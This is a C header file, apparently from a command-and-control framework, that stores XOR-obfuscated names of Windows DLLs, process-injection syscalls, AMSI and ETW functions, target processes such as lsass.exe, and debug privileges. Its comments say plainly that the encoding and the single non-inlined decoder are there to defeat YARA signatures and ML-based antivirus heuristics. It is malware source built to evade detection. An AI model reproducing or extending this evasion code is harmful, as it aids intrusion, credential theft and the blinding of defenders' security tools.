28Zaaky-khaos-c2/techniques/evs-xor/include/evs_strings.h

/* AUTO-GENERATED by gen_evs.py — do not edit.
 * EVS_KEY is randomised every build; all byte arrays change.
 * Defeats static YARA rules that match encoded API/DLL names.
 */
#ifndef EVS_STRINGS_H
#define EVS_STRINGS_H

#define EVS_KEY 0xccu

static const unsigned char EVS_dll_ntdll[9] = { 0xa2, 0xb8, 0xa8, 0xa0, 0xa0, 0xe2, 0xa8, 0xa0, 0xa0 };  /* ntdll.dll */
static const unsigned char EVS_dll_kernel32[12] = { 0xa7, 0xa9, 0xbe, 0xa2, 0xa9, 0xa0, 0xff, 0xfe, 0xe2, 0xa8, 0xa0, 0xa0 };  /* kernel32.dll */
static const unsigned char EVS_dll_kernelbase[14] = { 0x87, 0xa9, 0xbe, 0xa2, 0xa9, 0xa0, 0x8e, 0xad, 0xbf, 0xa9, 0xe2, 0xa8, 0xa0, 0xa0 };  /* KernelBase.dll */
static const unsigned char EVS_dll_advapi32[12] = { 0xad, 0xa8, 0xba, 0xad, 0xbc, 0xa5, 0xff, 0xfe, 0xe2, 0xa8, 0xa0, 0xa0 };  /* advapi32.dll */
static const unsigned char EVS_dll_amsi[8] = { 0xad, 0xa1, 0xbf, 0xa5, 0xe2, 0xa8, 0xa0, 0xa0 };  /* amsi.dll */
static const unsigned char EVS_fn_NtOpenProcess[13] = { 0x82, 0xb8, 0x83, 0xbc, 0xa9, 0xa2, 0x9c, 0xbe, 0xa3, 0xaf, 0xa9, 0xbf, 0xbf };  /* NtOpenProcess */
static const unsigned char EVS_fn_NtAllocateVirtualMemory[23] = { 0x82, 0xb8, 0x8d, 0xa0, 0xa0, 0xa3, 0xaf, 0xad, 0xb8, 0xa9, 0x9a, 0xa5, 0xbe, 0xb8, 0xb9, 0xad, 0xa0, 0x81, 0xa9, 0xa1, 0xa3, 0xbe, 0xb5 };  /* NtAllocateVirtualMemory */
static const unsigned char EVS_fn_NtWriteVirtualMemory[20] = { 0x82, 0xb8, 0x9b, 0xbe, 0xa5, 0xb8, 0xa9, 0x9a, 0xa5, 0xbe, 0xb8, 0xb9, 0xad, 0xa0, 0x81, 0xa9, 0xa1, 0xa3, 0xbe, 0xb5 };  /* NtWriteVirtualMemory */
static const unsigned char EVS_fn_NtProtectVirtualMemory[22] = { 0x82, 0xb8, 0x9c, 0xbe, 0xa3, 0xb8, 0xa9, 0xaf, 0xb8, 0x9a, 0xa5, 0xbe, 0xb8, 0xb9, 0xad, 0xa0, 0x81, 0xa9, 0xa1, 0xa3, 0xbe, 0xb5 };  /* NtProtectVirtualMemory */
static const unsigned char EVS_fn_NtFreeVirtualMemory[19] = { 0x82, 0xb8, 0x8a, 0xbe, 0xa9, 0xa9, 0x9a, 0xa5, 0xbe, 0xb8, 0xb9, 0xad, 0xa0, 0x81, 0xa9, 0xa1, 0xa3, 0xbe, 0xb5 };  /* NtFreeVirtualMemory */
static const unsigned char EVS_fn_NtCreateThreadEx[16] = { 0x82, 0xb8, 0x8f, 0xbe, 0xa9, 0xad, 0xb8, 0xa9, 0x98, 0xa4, 0xbe, 0xa9, 0xad, 0xa8, 0x89, 0xb4 };  /* NtCreateThreadEx */
static const unsigned char EVS_fn_NtClose[7] = { 0x82, 0xb8, 0x8f, 0xa0, 0xa3, 0xbf, 0xa9 };  /* NtClose */
static const unsigned char EVS_fn_NtReadVirtualMemory[19] = { 0x82, 0xb8, 0x9e, 0xa9, 0xad, 0xa8, 0x9a, 0xa5, 0xbe, 0xb8, 0xb9, 0xad, 0xa0, 0x81, 0xa9, 0xa1, 0xa3, 0xbe, 0xb5 };  /* NtReadVirtualMemory */
static const unsigned char EVS_fn_NtContinue[10] = { 0x82, 0xb8, 0x8f, 0xa3, 0xa2, 0xb8, 0xa5, 0xa2, 0xb9, 0xa9 };  /* NtContinue */
static const unsigned char EVS_fn_NtWaitForSingleObject[21] = { 0x82, 0xb8, 0x9b, 0xad, 0xa5, 0xb8, 0x8a, 0xa3, 0xbe, 0x9f, 0xa5, 0xa2, 0xab, 0xa0, 0xa9, 0x83, 0xae, 0xa6, 0xa9, 0xaf, 0xb8 };  /* NtWaitForSingleObject */
static const unsigned char EVS_fn_NtPVM[22] = { 0x82, 0xb8, 0x9c, 0xbe, 0xa3, 0xb8, 0xa9, 0xaf, 0xb8, 0x9a, 0xa5, 0xbe, 0xb8, 0xb9, 0xad, 0xa0, 0x81, 0xa9, 0xa1, 0xa3, 0xbe, 0xb5 };  /* NtProtectVirtualMemory */
static const unsigned char EVS_fn_RtlCaptureContext[17] = { 0x9e, 0xb8, 0xa0, 0x8f, 0xad, 0xbc, 0xb8, 0xb9, 0xbe, 0xa9, 0x8f, 0xa3, 0xa2, 0xb8, 0xa9, 0xb4, 0xb8 };  /* RtlCaptureContext */
static const unsigned char EVS_fn_RtlUserThreadStart[18] = { 0x9e, 0xb8, 0xa0, 0x99, 0xbf, 0xa9, 0xbe, 0x98, 0xa4, 0xbe, 0xa9, 0xad, 0xa8, 0x9f, 0xb8, 0xad, 0xbe, 0xb8 };  /* RtlUserThreadStart */
static const unsigned char EVS_fn_EtwEventWrite[13] = { 0x89, 0xb8, 0xbb, 0x89, 0xba, 0xa9, 0xa2, 0xb8, 0x9b, 0xbe, 0xa5, 0xb8, 0xa9 };  /* EtwEventWrite */
static const unsigned char EVS_fn_EtwTiLogOpenProcess[19] = { 0x89, 0xb8, 0xbb, 0x98, 0xa5, 0x80, 0xa3, 0xab, 0x83, 0xbc, 0xa9, 0xa2, 0x9c, 0xbe, 0xa3, 0xaf, 0xa9, 0xbf, 0xbf };  /* EtwTiLogOpenProcess */
static const unsigned char EVS_fn_EtwTiLogReadWriteVm[19] = { 0x89, 0xb8, 0xbb, 0x98, 0xa5, 0x80, 0xa3, 0xab, 0x9e, 0xa9, 0xad, 0xa8, 0x9b, 0xbe, 0xa5, 0xb8, 0xa9, 0x9a, 0xa1 };  /* EtwTiLogReadWriteVm */
static const unsigned char EVS_fn_EtwTiLogDuplicateHandle[23] = { 0x89, 0xb8, 0xbb, 0x98, 0xa5, 0x80, 0xa3, 0xab, 0x88, 0xb9, 0xbc, 0xa0, 0xa5, 0xaf, 0xad, 0xb8, 0xa9, 0x84, 0xad, 0xa2, 0xa8, 0xa0, 0xa9 };  /* EtwTiLogDuplicateHandle */
static const unsigned char EVS_fn_AmsiScanBuffer[14] = { 0x8d, 0xa1, 0xbf, 0xa5, 0x9f, 0xaf, 0xad, 0xa2, 0x8e, 0xb9, 0xaa, 0xaa, 0xa9, 0xbe };  /* AmsiScanBuffer */
static const unsigned char EVS_fn_AmsiScanString[14] = { 0x8d, 0xa1, 0xbf, 0xa5, 0x9f, 0xaf, 0xad, 0xa2, 0x9f, 0xb8, 0xbe, 0xa5, 0xa2, 0xab };  /* AmsiScanString */
static const unsigned char EVS_str_svchost[11] = { 0xbf, 0xba, 0xaf, 0xa4, 0xa3, 0xbf, 0xb8, 0xe2, 0xa9, 0xb4, 0xa9 };  /* svchost.exe */
static const unsigned char EVS_str_explorer[12] = { 0xa9, 0xb4, 0xbc, 0xa0, 0xa3, 0xbe, 0xa9, 0xbe, 0xe2, 0xa9, 0xb4, 0xa9 };  /* explorer.exe */
static const unsigned char EVS_str_lsass[9] = { 0xa0, 0xbf, 0xad, 0xbf, 0xbf, 0xe2, 0xa9, 0xb4, 0xa9 };  /* lsass.exe */
static const unsigned char EVS_str_RuntimeBroker[17] = { 0x9e, 0xb9, 0xa2, 0xb8, 0xa5, 0xa1, 0xa9, 0x8e, 0xbe, 0xa3, 0xa7, 0xa9, 0xbe, 0xe2, 0xa9, 0xb4, 0xa9 };  /* RuntimeBroker.exe */
static const unsigned char EVS_str_SeDebugPrivilege[16] = { 0x9f, 0xa9, 0x88, 0xa9, 0xae, 0xb9, 0xab, 0x9c, 0xbe, 0xa5, 0xba, 0xa5, 0xa0, 0xa9, 0xab, 0xa9 };  /* SeDebugPrivilege */
static const unsigned char EVS_str_SeImpersonatePrivilege[22] = { 0x9f, 0xa9, 0x85, 0xa1, 0xbc, 0xa9, 0xbe, 0xbf, 0xa3, 0xa2, 0xad, 0xb8, 0xa9, 0x9c, 0xbe, 0xa5, 0xba, 0xa5, 0xa0, 0xa9, 0xab, 0xa9 };  /* SeImpersonatePrivilege */

/* Runtime XOR decoder — defined in src/evs.c.
 * noinline: one code pattern in .text, not N inline XOR loops.
 * ML-based AV heuristics flag many identical short loops;
 * a single called function does not match that signature. */
#ifndef EVS_DEC_DECL
#define EVS_DEC_DECL
#include <stddef.h>
extern void evs_dec(char *out, const unsigned char *enc, size_t n);
#define EVS_D(out, arr) evs_dec((out), (arr), sizeof(arr))
#endif

#endif /* EVS_STRINGS_H */